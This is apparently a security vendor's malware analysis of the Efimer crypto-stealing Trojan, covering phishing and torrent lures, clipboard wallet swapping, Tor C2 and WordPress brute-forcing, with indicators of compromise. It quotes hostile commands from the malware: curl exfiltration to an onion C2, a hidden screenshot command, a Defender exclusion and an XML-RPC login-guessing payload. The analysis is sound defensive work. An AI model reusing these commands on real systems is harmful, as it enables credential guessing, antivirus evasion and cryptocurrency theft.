Scammers mass-mailing the Efimer Trojan to steal crypto

Introduction

In June, we encountered a mass mailing campaign impersonating lawyers from a major company. These emails falsely claimed the recipient’s domain name infringed on the sender’s rights. The messages contained the Efimer malicious script, designed to steal cryptocurrency. This script also includes additional functionality that helps attackers spread it further by compromising WordPress sites and hosting malicious files there, among other techniques.

Report summary:

  • Efimer is spreading through compromised WordPress sites, malicious torrents, and email.
  • It communicates with its command-and-control server via the Tor network.
  • Efimer expands its capabilities through additional scripts. These scripts enable attackers to brute-force passwords for WordPress sites and harvest email addresses for future malicious email campaigns.

Kaspersky products classify this threat with the following detection verdicts:

  • HEUR:Trojan-Dropper.Script.Efimer
  • HEUR:Trojan-Banker.Script.Efimer
  • HEUR:Trojan.Script.Efimer
  • HEUR:Trojan-Spy.Script.Efimer.gen

Technical details

Background

In June, we detected a mass mailing campaign that was distributing identical messages with a malicious archive attached. The archive contained the Efimer stealer, designed to pilfer cryptocurrency. This malware was dubbed “Efimer” because the word appeared in a comment at the beginning of its decrypted script. Early versions of this Trojan likely emerged around October 2024, initially spreading via compromised WordPress websites. While attackers continue to use this method, they expanded their distribution in June to include email campaigns.

Part of the script with comments

Part of the script with comments

Email distribution

The emails that users received claimed that lawyers from a large company had reviewed the recipient’s domain and found words or phrases in its name that infringed upon their registered trademarks. The emails threatened legal action but offered to drop the lawsuit if the domain owner changed the domain name. Furthermore, they even expressed willingness to purchase the domain. The specific domain was never mentioned in the email. Instead, the attachment supposedly contained “details” about the alleged infringement and the proposed buyout amount.

Sample email

Sample email

In a recent phishing attempt, targets received an email with a ZIP attachment named “Demand_984175” (MD5: e337c507a4866169a7394d718bc19df9). Inside, recipients found a nested, password-protected archive and an empty file named “PASSWORD – 47692”. It’s worth noting the clever obfuscation used for the password file: instead of a standard uppercase “S”, the attackers used the Unicode character U+1D5E6. This subtle change was likely implemented to prevent automated tools from easily extracting the password from the filename.

Archive contents

Archive contents

If the user unzips the password-protected archive, they’ll find a malicious file named “Requirement.wsf”. Running this file infects their computer with the Efimer Trojan, and they’ll likely see an error message.

Error message

Error message

Here’s how this infection chain typically plays out. When the Requirement.wsf script first runs, it checks for administrator privileges. It does this by attempting to create and write data to a temporary file at C:\Windows\System32\wsf_admin_test.tmp. If the write is successful, the file is then deleted. What happens next depends on the user’s access level:

  • If the script is executed on behalf of a privileged user, it adds the C:\Users\Public\controller folder to the Windows Defender antivirus exclusions. This folder will then be used to store various files. It also adds to exclusions the full path to the currently running WSF script and the system processes C:\Windows\System32\exe and C:\Windows\System32\cmd.exe. Following this, the script saves two files to the aforementioned path: “controller.js” (containing the Efimer Trojan) and “controller.xml”. Finally, it creates a scheduler task in Windows, using the configuration from controller.xml.
  • If the script is run with limited user privileges, it saves only the controller.js file to the same path. It adds a parameter for automatic controller startup to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\controller registry key. The controller is then launched via the WScript utility.

Afterward, the script uses WScript methods to display an error message dialog box and then exits. This is designed to mislead the user, who might be expecting an application or document to open, when in reality, nothing useful occurs.

Efimer Trojan

The controller.js script is a ClipBanker-type Trojan. It’s designed to replace cryptocurrency wallet addresses the user copies to their clipboard with the attacker’s own. On top of that, it can also run external code received directly from its command-and-control server.

The Trojan starts by using WMI to check if Task Manager is running.

If it is, the script exits immediately to avoid detection. However, if Task Manager isn’t running, the script proceeds to install a Tor proxy client on the victim’s computer. The client is used for communication with the C2 server.

The script has several hardcoded URLs to download Tor from. This ensures that even if one URL is blocked, the malware can still retrieve the Tor software from the others. The sample we analyzed contained the following URLs:

https://inpama[.]com/wp-content/plugins/XZorder/ntdlg.dat
https://www.eskisehirdenakliyat[.]com/wp-content/plugins/XZorder/ntdlg.dat
https://ivarchasv[.]com/wp-content/plugins/XZorder/ntdlg.dat
https://echat365[.]com/wp-content/plugins/XZorder/ntdlg.dat
https://navrangjewels[.]com/wp-content/plugins/XZorder/ntdlg.dat

The file it downloads from one of the URLs (A46913AB31875CF8152C96BD25027B4D) is the Tor proxy service. The Trojan saves it to C:\Users\Public\controller\ntdlg.exe. If the download fails, the script terminates.

Assuming a successful download, the script launches the file with the help of WScript and then goes dormant for 10 seconds. This pause likely allows the Tor service to establish a connection with the Onion network and initialize itself. Next, the script attempts to read a GUID from C:\Users\Public\controller\GUID. If the file cannot be found, it generates a new GUID via createGUID() and saves it to the specified path.

The GUID format is always vs1a-<4 random hex characters>, for example, vs1a-1a2b.

The script then tries to load a file named “SEED” from C:\Users\Public\controller\SEED. This file contains mnemonic phrases for cryptocurrency wallets that the script has collected. We’ll delve into how it finds and saves these phrases later in this post. If the SEED file is found, the script sends it to the server and then deletes it. These actions assume that the script might have previously terminated improperly, which would have prevented the mnemonic phrases from being sent to the server. To avoid losing collected data in case of an error, the malware saves them to a file before attempting to transmit them.

At this point, the controller concludes its initialization process and enters its main operation cycle.

The main loop

In each cycle of operation, the controller checks every 500 milliseconds whether Task Manager is running. As before, if it is, the process exits.

If the script doesn’t terminate, it begins to ping the C2 server over the Tor network. To do this, the script sends a request containing a GUID (Globally Unique Identifier) to the server. The server’s response will be a command. To avoid raising suspicion with overly frequent requests while maintaining constant communication, the script uses a timer (the p_timer variable).

As we can see, every 500 milliseconds (half a second), immediately after checking if Task Manager is running, p_timer decrements by 1. When the variable reaches 0 (it’s also zero on the initial run), the timer is reset using the following formula: the PING_INT variable, which is set to 1800, is multiplied by two, and the result is stored in p_timer. This leaves 1800 seconds, or 30 minutes, until the next update. After the timer updates, the PingToOnion function is called, which we discuss next. Many similar malware strains constantly spam the network, hitting their C2 server for commands. The behavior quickly gives them away. A timer allows the script to stay under the radar while maintaining its connection to the server. Making requests only once every half an hour makes them much harder to spot in the overall traffic flow.

The PingToOnion function works hand-in-hand with CheckOnionCMD. In the first one, the script sends a POST request to the C2 using the curl utility, routing the request through a Tor proxy located at localhost:9050 at the address:

http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/route.php

The server’s response is saved to the user’s %TEMP% directory at %TEMP%cfile.

curl -X POST -d "' + _0x422bc3 + '" --socks5-hostname localhost:9050 ' + PING_URL + ' --max-time 30 -o ' + tempStrings + '\cfile

After a request is sent to the server, CheckOnionCMD immediately kicks in. Its job is to look for a server response in a file named “cfile” located in the %TEMP% directory. If the response contains a GUID command, the malware does nothing. This is likely a PONG response from the server, confirming that the connection to the C2 server is still alive and well. However, if the first line of the response contains an EVAL command, it means all subsequent lines are JavaScript code. This code will then be executed using the eval function.

Regardless of the server’s response, the Trojan then targets the victim’s clipboard data. Its primary goal is to sniff out mnemonic phrases and swap copied cryptocurrency wallet addresses with the attacker’s own wallet addresses.

First, it scans the clipboard for strings that look like mnemonic (seed) phrases.

If it finds any, these phrases are saved to a file named “SEED” (similar to the one the Trojan reads at startup). This file is then exfiltrated to the server using the PingToOnion function described above with the action SEED parameter. Once sent, the SEED file is deleted. The script then takes five screenshots (likely to capture the use of mnemonic phrases) and sends them to the server as well.

They are captured with the help of the following PowerShell command:

powershell.exe -NoProfile -WindowStyle Hidden -Command "$scale = 1.25; Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $sw = [System.Windows.Forms.SystemInformation]::VirtualScreen.Width; $sh = [System.Windows.Forms.SystemInformation]::VirtualScreen.Height; $w = [int]($sw * $scale); $h = [int]($sh * $scale); $bmp = New-Object Drawing.Bitmap $w, $h; $g = [Drawing.Graphics]::FromImage($bmp); $g.ScaleTransform($scale, $scale); $g.CopyFromScreen(0, 0, 0, 0, $bmp.Size); $bmp.Save('' + path.replace(/\/g, '\\') + '', [Drawing.Imaging.ImageFormat]::Png); ' + '$g.Dispose(); $bmp.Dispose();"

The FileToOnion function handles sending files to the server. It takes two arguments: the file itself (in this case, a screenshot) and the path where it needs to be uploaded.

Screenshots are sent to the following path on the server:

http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/recvf.php

Files are also sent via a curl command:

curl -X POST -F "file=@' + screenshot + '" ' + '-F "MGUID=' + GUID + '" ' + '-F "path=' + path + '" ' + '--socks5-hostname localhost:9050 "' + FILE_URL + '"

After sending the file, the script goes idle for 50 seconds. Then, it starts replacing cryptocurrency wallet addresses. If the clipboard content is only numbers, uppercase and lowercase English letters, and includes at least one letter and one number, the script performs additional checks to determine if it’s a Bitcoin, Ethereum, or Monero wallet. If a matching wallet is found in the clipboard, the script replaces it according to the following logic:

  • Short Bitcoin wallet addresses (starting with “1” or “3” and 32–36 characters long) are replaced with a wallet whose first two characters match those in the original address.
  • For long wallet addresses that start with “bc1q” or “bc1p” and are between 40 and 64 characters long, the malware finds a substitute address where the last character matches the original.

  • If a wallet address begins with “0x” and is between 40 and 44 characters long, the script replaces it with one of several Ethereum wallets hardcoded into the malware. The goal here is to ensure the first three characters match the original address.

  • For Monero addresses that start with “4” or “8” and are 95 characters long, attackers use a single, predefined address. Similar to other wallet types, the script checks for matching characters between the original and the swapped address. In the case of Monero, only the first character needs to match. This means the malware will only replace Monero wallets that start with “4”.

This clipboard swap is typically executed with the help of the following command:

cmd.exe /c echo|set/p= + new_clipboard_data + |clip

After each swap, the script sends data to the server about both the original wallet and the replacement.

Distribution via compromised WordPress sites

As mentioned above, in addition to email, the Trojan spreads through compromised WordPress sites. Attackers search for poorly secured websites, brute-force their passwords, and then post messages offering to download recently released movies. These posts include a link to a password-protected archive containing a torrent file.

Here's an example of such a post on https://lovetahq[.]com/sinners-2025-torent-file/

Here’s an example of such a post on https://lovetahq[.]com/sinners-2025-torent-file/

The torrent file downloads a folder to the device. This folder contains something that looks like a movie in XMPEG format, a “readme !!!.txt” text file, and an executable that masquerades as a media player.

Downloaded files

Downloaded files

To watch a movie in the XMPEG format, the user would seemingly need to launch xmpeg_player.exe. However, this executable is actually another version of the Efimer Trojan installer. Similar to the WSF variant, this EXE installer extracts the Trojan’s main component into the C:\Users\Public\Controller folder, but it’s named “ntdlg.js”. Along with the Trojan, the installer also extracts the Tor proxy client, named “ntdlg.exe”. The installer then uses PowerShell to add the script to startup programs and the “Controller” folder to Windows Defender exclusions.

cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:UsersPublicController'

The extracted Trojan is almost identical to the one spread via email. However, this version’s code includes spoofed wallets for Tron and Solana, in addition to the Bitcoin, Ethereum, and Monero wallets. Also, the GUID for this version starts with “vt05”.

Additional scripts

On some compromised machines, we uncovered several other intriguing scripts communicating with the same .onion domain as the previously mentioned ones. We believe the attackers installed these via an eval command to execute payloads from their C2 server.

WordPress site compromise

Among these additional scripts, we found a file named “btdlg.js” (MD5: 0f5404aa252f28c61b08390d52b7a054). This script is designed to brute-force passwords for WordPress sites.

Once executed, it generates a unique user ID, such as fb01-<4 random hex characters>, and saves it to C:\Users\Public\Controller\.

The script then initiates multiple processes to launch brute-force attacks against web pages. The code responsible for these attacks is embedded within the same script, prior to the main loop. To trigger this functionality, the script must be executed with the “B” parameter. Within its main loop, the script initiates itself by calling the _runBruteProc function with the parameter “B”.

After a brute-force attack is completed, the script returns to the main loop. Here, it will continue to spawn new processes until it reaches a hardcoded maximum of 20.

Thus, the script supports two modes – brute-force and the main one, responsible for the initial launch. If the script is launched without any parameters, it immediately enters the main loop. From there, it launches a new instance of itself with the “B” parameter, kicking off a brute-force attack.

The script's operation cycle involves both the brute-force code and the handler for its core logic

The script’s operation cycle involves both the brute-force code and the handler for its core logic

The brute-force process starts via the GetWikiWords function: the script retrieves a list of words from Wikipedia. This list is then used to identify new target websites for the brute-force attack. If the script fails to obtain the word list, it waits 30 minutes before retrying.

The script then enters its main operation loop. Every 30 minutes, it initiates a request to the C2 server. This is done with the help of the PingToOnion method, which is consistent with the similarly named methods found in other scripts. It sends a BUID command, transmitting a unique user ID along with brute-force statistics. This includes the total number of domains attacked, and the count of successful and failed attacks.

After this, the script utilizes the GetRandWords function to generate a list of random words sourced from Wikipedia.

Finally, using these Wikipedia-derived random words as search parameters, the script employs the getSeDomains function to search Google and Bing for domains to target with brute-force attacks.

Part of the getSeDomains function

Part of the getSeDomains function

The ObjID function calculates an eight-digit hexadecimal hash, which acts as a unique identifier for a special object (obj_id). In this case, the special object is a file containing brute-force information. This includes a list of users for password guessing, success/failure flags for brute-force attempts, and other script-relevant data. For each distinct domain, this data is saved to a separate file. The script then checks if this identifier has been encountered before. All unique identifiers are stored in a file named “UDBXX.dat”. The script searches the file for a new identifier, and if one isn’t found, it’s added. This identifier tracking helps save time by avoiding reprocessing of already known domains.

For every new domain, the script makes a request using the WPTryPost function. This is an XML-RPC function that attempts to create a test post using a potential username and password. The command to create the post looks like this:

<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><string>1</string></value></param><param><value><string>' + %LOGIN%+ '</string></value></param>' + '<param><value><string>' + %PASSWORD%+ '</string></value></param>' + '<param><value><struct>' + '<member>' + '<name>title</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>description</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>mt_keywords</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>mt_excerpt</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '</struct></value></param>' + '<param><value><boolean>1</boolean></value></param>' + '</params>' + '</methodCall>

When the XML-RPC request is answered, whether successfully or not, the WPGetUsers function kicks in to grab users from the domain. This function hits the domain at /wp-json/wp/v2/users, expecting a list of WordPress site users in return.

This list of users, along with the domain and counters tracking the number of users and passwords brute-forced, gets written to the special object file described above. The ID for this file is calculated with the help of ObjID. After processing a page, the script lies dormant for five seconds before moving on to the next one.

Meanwhile, multiple processes are running concurrently on the victim’s computer, all performing brute-force operations. As mentioned before, when the script is launched with the “B” argument, it enters an infinite brute-forcing loop, with each process independently handling its targets. At the start of each iteration, there’s a randomly chosen 1–2 second pause. This delay helps stagger the start times of requests, making the activity harder to detect. Following this, the process retrieves a random object file ID for processing from C:\Users\Public\Controller\objects by calling ObjGetW.

The ObjGetW function snags a random domain object that’s not currently tied up by a brute-force process. Locked files are marked with the LOCK extension. Once a free, random domain is picked for brute-forcing, the lockObj function is called. This changes the file’s extension to LOCK so other processes don’t try to work on it. If all objects are locked, or if the chosen object can’t be locked, the script moves to the next loop iteration and tries again until it finds an available file. If a file is successfully acquired for processing, the script extracts data from it, including the domain, password brute-force counters, and a list of users.

Based on these counter values, the script checks if all combinations have been exhausted or if the maximum number of failed attempts has been exceeded. If the attempts are exhausted, the object is deleted, and the process moves on to a new iteration. If attempts remain, the script tries to authenticate with the help of hardcoded passwords.

When attempting to guess a password for each user, a web page post request is sent via the WPTryPost function. Depending on the outcome of the brute-force attempt, ObjUpd is called to update the status for the current domain and the specific username-password combination.

After the status is updated, the object is unlocked, and the process pauses randomly before continuing the cycle with a new target. This ensures continuous, multi-threaded credential brute-forcing, which is also regulated by the script and logged in a special file. This logging prevents the script from starting over from scratch if it crashes.

Successfully guessed passwords are sent to the C2 with the GOOD command.

Alternative Efimer version

We also discovered another script named “assembly.js” (MD5: 100620a913f0e0a538b115dbace78589). While similar in functionality to controller.js and ntdlg.js, it has several significant differences.

Similarly to the first script, this one belongs to the ClipBanker type. Just like its predecessors, this malware variant reads a unique user ID. This time it looks for the ID at C:\Users\Public\assembly\GUID. If it can’t find or read that ID, it generates a new one. This new ID follows the format M11-XXXX-YYYY, where XXXX and YYYY are random four-digit hexadecimal numbers. Next up, the script checks if it’s running inside a virtual machine environment.

If it detects a VM, it prefixes the GUID string with a “V”; otherwise, it uses an “R”. Following this, the directory where the GUID is stored (which appears to be the script’s main working directory) is hidden.

After that, a file named “lptime” is saved to the same directory. This file stores the current time, minus 21,000 seconds. Once these initial setup steps are complete, the malware enters its main operation loop. The first thing it does is check the time stored in the “lptime” file. If the difference between the current time and the time in the file is greater than 21,600 seconds, it starts preparing data to send to the server.

After that, the script attempts to read data from a file named “geip”, which it expects to find at C:\Users\Public\assembly\geip. This file contains information about the infected device’s country and IP address. If it’s missing, the script retrieves information from https://ipinfo.io/json and saves it. Next, it activates the Tor service, located at C:\Users\Public\assembly\upsvc.exe.

Afterwards, the script uses the function GetWalletsList to locate cryptocurrency wallets and compile a list of its findings.

It prioritizes scanning of browser extension directories for Google Chrome and Brave, as well as folders for specific cryptocurrency wallet applications whose paths are hardcoded within the script.

The script then reads a file named “data” from C:\Users\Public\assembly. This file typically contains the results of previous searches for mnemonic phrases in the clipboard. Finally, the script sends the data from this file, along with the cryptocurrency wallets it discovered from application folders, to a C2 server at:

http://he5vnov645txpcv57el2theky2elesn24ebvgwfoewlpftksxp4fnxad[.]onion/assembly/route.php

After the script sends the data, it verifies the server’s response with the help of the CheckOnionCMD function, which is similar to the functions found in the other scripts. The server’s response can contain one of the following commands:

  • RPLY returns “OK”. This response is only received after cryptocurrency wallets are sent, and indicates that the server has successfully received the data. If the server returns “OK”, the old data file is deleted. However, if the transmission fails (no response is received), the file isn’t deleted. This ensures that if the C2 server is temporarily unavailable, the accumulated wallets can still be sent once communication is re-established.
  • EVAL executes a JavaScript script provided in the response.
  • KILL completely removes all of the malware’s components and terminates its operation.

Next, the script scans the clipboard for strings that resemble mnemonic phrases and cryptocurrency wallet addresses.

Any discovered data is then XOR-encrypted using the key $@#LcWQX3$ and saved to a file named “data”. After these steps, the entire cycle repeats.

“Liame” email address harvesting script

This script operates as another spy, much like the others we’ve discussed, and shares many similarities. However, its purpose is entirely different. Its primary goal is to collect email addresses from specified websites and send them to the C2 server. The script receives the list of target websites as a command from the C2. Let’s break down its functionality in more detail.

At startup, the script first checks for the presence of the LUID (unique identifier for the current system) in the main working directory, located at C:\Users\Public\Controller\LUID. If the LUID cannot be found, it creates one via a function similar to those seen in other scripts. In this case, the unique identifier takes the format fl01-<4 random hex characters>.

Next, the checkUpdate() function runs. This function checks for a file at C:\Users\Public\Controller\update_l.flag. If the file exists, the script waits for 30 seconds, then deletes update_l.flag, and terminates its operation.

Afterwards, the script periodically (every 10 minutes) sends a request to the server to receive commands. It uses a function named PingToOnion, which is similar to the identically named functions in other scripts.

The request includes the following parameters:

  • LIAM: unique identifier
  • action: request type
  • data: data corresponding to the request type

In this section of the code, LIAM string is used as the action, and the data parameter contains the number of collected email addresses along with the script operation statistics.

If the script unexpectedly terminates due to an error, it can send a log in addition to the statistics, where the action parameter will contain LOGS string, and the data parameter will contain the error message.

The request is sent to the following C2 address:

http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/route.php

The server returns a JSON-like structure, which the next function later parses.

The structure dictates the commands the script should execute.

This script supports two primary functions:

  • Get a list of email addresses from domains provided by the server

    The script receives domains and iterates through each one to find hyperlinks and email addresses on the website pages.

    The GetPageLinks function parses the HTML content of a webpage and extracts all links that reside on the same domain as the original page. This function then filters these links, retaining only those that point to HTML/PHP files or files without extensions.

    The PageGetLiame function extracts email addresses from the page’s HTML content. It can process both openly displayed addresses and those encapsulated within mailto links .

    Following this initial collection, the script revisits all previously gathered links on the C2-provided domains, continuing its hunt for additional email addresses. Finally, the script de-duplicates the entire list of harvested email addresses and saves them for future use.

  • Exfiltrate collected data to the server
    In this scenario, the script anticipates two parameters from the C2 server’s response: pstack and buffer, where:
    • pstack is an array of domains to which subsequent POST requests will be sent;
    • buffer is an array of strings, each containing data in the format of address,subject,message.

    The script randomly selects a domain from pstack and then uploads one of the strings from the buffer parameter to it. This part of the script likely functions as a spam module, designed to fill out forms on target websites. For each successful data submission via a POST request to a specific domain, the script updates its statistics (which we mentioned earlier) with the number of successful transmissions for that domain.

    If an error occurs within this loop, the script catches it and reports it back to the C2 server with the LOGS command.

Throughout the code, you’ll frequently encounter the term “Liame”, which is simply “Email” spelled backwards. Similarly, variations like “Liama”, “Liam”, and “Liams” are also present, likely derived from “Liame”. This kind of “wordplay” in the code is almost certainly an attempt to obscure the malicious intent of its functions. For example, instead of a clearly named “PageGetEmail” function, you’d find “PageGetLiame”.

Victims

From October 2024 through July 2025, Kaspersky solutions detected the Efimer Trojan impacting 5015 Kaspersky users. The malware exhibited its highest level of activity in Brazil, where attacks affected 1476 users. Other significantly impacted countries include India, Spain, Russia, Italy, and Germany.

TOP 10 countries by the number of users who encountered Efimer (download)

Takeaways

The Efimer Trojan combines a number of serious threats. While its primary goal is to steal and swap cryptocurrency wallets, it can also leverage additional scripts to compromise WordPress sites and distribute spam. This allows it to establish a complete malicious infrastructure and spread to new devices.

Another interesting characteristic of this Trojan is its attempt to propagate among both individual users and corporate environments. In the first case, attackers use torrent files as bait, allegedly to download popular movies; in the other, they send claims about the alleged unauthorized use of words or phrases registered by another company.

It’s important to note that in both scenarios, infection is only possible if the user downloads and launches the malicious file themselves. To protect against these types of threats, we urge users to avoid downloading torrent files from unknown or questionable sources, always verify email senders, and consistently update their antivirus databases.

For website developers and administrators, it’s crucial to implement measures to secure their resources against compromise and malware distribution. This includes regularly updating software, using strong (non-default) passwords and two-factor authentication, and continuously monitoring their sites for signs of a breach.

Indicators of compromise

Hashes of malicious files
39fa36b9bfcf6fd4388eb586e2798d1a — Requirement.wsf
5ba59f9e6431017277db39ed5994d363 — controller.js
442ab067bf78067f5db5d515897db15c — xmpeg_player.exe
16057e720be5f29e5b02061520068101 — xmpeg_player.exe
627dc31da795b9ab4b8de8ee58fbf952 — ntdlg.js
0f5404aa252f28c61b08390d52b7a054 — btdlg.js
eb54c2ff2f62da5d2295ab96eb8d8843 — liame.js
100620a913f0e0a538b115dbace78589 — assembly.js
b405a61195aa82a37dc1cca0b0e7d6c1 — btdlg.js

Hashes of clean files involved in the attack
5d132fb6ec6fac12f01687f2c0375353 — ntdlg.exe (Tor)

Websites
hxxps://lovetahq[.]com/sinners-2025-torent-file/
hxxps://lovetahq[.]com/wp-content/uploads/2025/04/movie_39055_xmpg.zip

C2 URLs
hxxp://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion
hxxp://he5vnov645txpcv57el2theky2elesn24ebvgwfoewlpftksxp4fnxad[.]onion

Leave a Reply